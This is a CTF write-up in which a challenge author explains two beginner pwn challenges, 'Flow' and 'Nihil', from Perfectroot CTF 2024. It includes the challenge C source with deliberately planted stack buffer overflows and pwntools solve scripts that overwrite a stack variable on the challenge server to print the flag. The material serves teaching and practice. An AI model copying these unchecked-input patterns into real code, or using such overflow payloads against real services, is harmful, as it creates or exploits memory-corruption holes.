Perfectroot CTF 2024 Writeups
Introduction#
The p3rf3ctr00t CTF 2024 marked the debut of an exciting competition designed to challenge participants across diverse areas of cybersecurity. As one of the contributors of this event, I had the privilege of crafting some challenges that tested some problem solving skills.
I will try and walk you through the design and solution of the challenges I created, providing insights into their concepts. Let’s learn.
Flow#
First we are met with the challenge name Flow
. This was a slight hint that we were to do something with overflows and memory corruption bugs as a whole. We are also provided with the connection where we can use netcat
to interact with the program from a remote instance.
We can now download the binary and try and understand it’s logic. By this we can do some basic file checks which would be pivotal in giving us some information about the binary.
The binary is a 64-bit ELF pie executable.
We can then move on to check the securities the binary was compiled with. We see that we have a partial RELRO, no canary, NX and PIE enabled. Now don’t worry there, I have a blog where I explain what this means. Check it out here
Now we can then run the binary and see what it does. It just asks for input then exits
We can then get a lay of the land using pwndbg
. We have a main, vulnerable and win function in the binary.
Now I can open up the binary in Ghidra and move to the vulnerable()
function to understand the logic.
The function vulnerable()
is flawed because it allows for a buffer overflow, where the buffer is allocated with 0x30
bytes that is 48 bytes in decimal on the stack.
The function takes in 64 characters as input but does not check if the input exceeds the buffer size.
This means that any input beyond 48 bytes will overflow the buffer and overwrite adjacent memory on the stack.
The program uses the stack to store, a 48-byte space allocated for input data and a key variable, located just above the buffer which was initially set to key = 0xc
From here we see that we have an if
check that does
if (local_c == 0x34333231) {
win();
}
This key variable is stored on the stack as a 4-byte (32-bit) integer. The input string provided will treated as a sequence of ASCII characters.
- 1 -> 0x31
- 2 -> 0x32
- 3 -> 0x33
- 4 -> 0x34
When you input the string 1234
it translates into the hexadecimal bytes as shown above.
The next thing to confirm is the type of endianness which we can check using rabin2 -I flow
We can clearly see that we have our endian as little
Here is a little script to confirm the translation
payload = b'A' * 60 + b"1234"
key_overwrite = payload[-4:]
print("Key in hex: ", key_overwrite.hex())
Source Code#
#include <stdio.h>
__attribute__((constructor)) void flush_buf() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void win() {
FILE* flag_file;
char c;
flag_file = fopen("flag.txt", "r");
if (flag_file != NULL) {
printf("Your flag is - ");
while ((c = getc(flag_file)) != EOF) {
printf("%c", c);
}
printf("\n");
}
else {
printf("Could not find flag.txt\n");
}
}
void vulnerable() {
int key = 12;
char buffer[0x30];
printf("Enter a text please: ");
scanf("%64s", buffer);
if (key == 0x34333231) {
win();
}
}
int main() {
vulnerable();
return 0;
}
Solve script#
from pwn import *
p = remote("94.72.112.248", 7001)
payload = b'a' * 60 + b'1234'
p.send(payload)
p.interactive()
Nihil#
The next challenge was also pwn, and this was a bit more tricky and needed one to understand how the stack works. But this challenge is very similar to the first in general.
After downloading the binary we can then perform our normal file checks. This informs us that the binary is 64-bit LSB pie executable.
We can now check the securities the binary was compiled with and it looks pretty much as the challenge flow
We can now run the binary and get a rough idea of what it does
Now from the challenge description the author mentions can you beat me at a guessing game?
. The idea here would be can you get the correct guess in other words. With that in mind we can now disassemble the binary.
We do not have a lot of interesting functions as before, but we can disassemble the main function in Ghidra.
It seems the main function does a check where it compares a variable to a value and then if they are equal, it prints the flag
if (local_c == 0x2d7)
Using python we can calculate what 0x2d7
could be potentially to help with crafting of our payload later.
Now we can break this down this way. A buffer char local_28[16]
is allocated, meaning it can hold 15 characters, plus the null terminator.
The fgets()
function can read up to 100 characters into this buffer. Since the buffer is only 16 bytes in size, reading more than 15 characters will overflow the buffer and overwrite the adjacent memory on the stack.
The stack is organized in a way that variables and control data (like return addresses) are stored in memory blocks. When fgets()
writes more data than the buffer can hold, it overwrites the memory outside the intended region.
This can cause corruption of adjacent variables or the return address on the layout of the stack.
With this information we can now try and craft our payload.
from pwn import *
p = remote("94.72.112.248", 7002)
p.sendline(b'727')
payload = b'aaaaaaaaaaaa727'
p.sendline(payload)
p.interactive()
We can break down our payload by first sending the value 727
to the binary, then the binary asks us if we have any last words. That is where we can send our the payload that includes, 12 a's
that will help in filling the buffer, and the 727
to make the check equal, this will then print out our flag.
Source Code#
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
FILE *flag_file;
char flag[100];
int main(void) {
unsigned int pp;
unsigned long my_pp;
char buf[16];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("How much did you get? ");
fgets(buf, 100, stdin);
pp = atoi(buf);
my_pp = pp + 1;
printf("Any last words?\n");
fgets(buf, 100, stdin);
if (pp <= my_pp) {
printf("Ha! I got %d\n", my_pp);
printf("Maybe you will beat me next time\n");
} else {
printf("What, How did you beat me?");
if (pp == 727) {
printf("Here is your flag: ");
flag_file = fopen("flag.txt", "r");
fgets(flag, sizeof(flag), flag_file);
printf("%s\n", flag);
} else {
printf("Just kidding!\n");
}
}
return 0;
}
Conclusion#
I took heavy inspiration from past CTF challenges that I came across, so you might have come across this challenges before. I hope you have learned a thing or two about memory corruption bugs
Special shoutout to 0x1337
on solving most of the pwn challenges. You can also get other ways of solving the challenges above and many other more by going through his article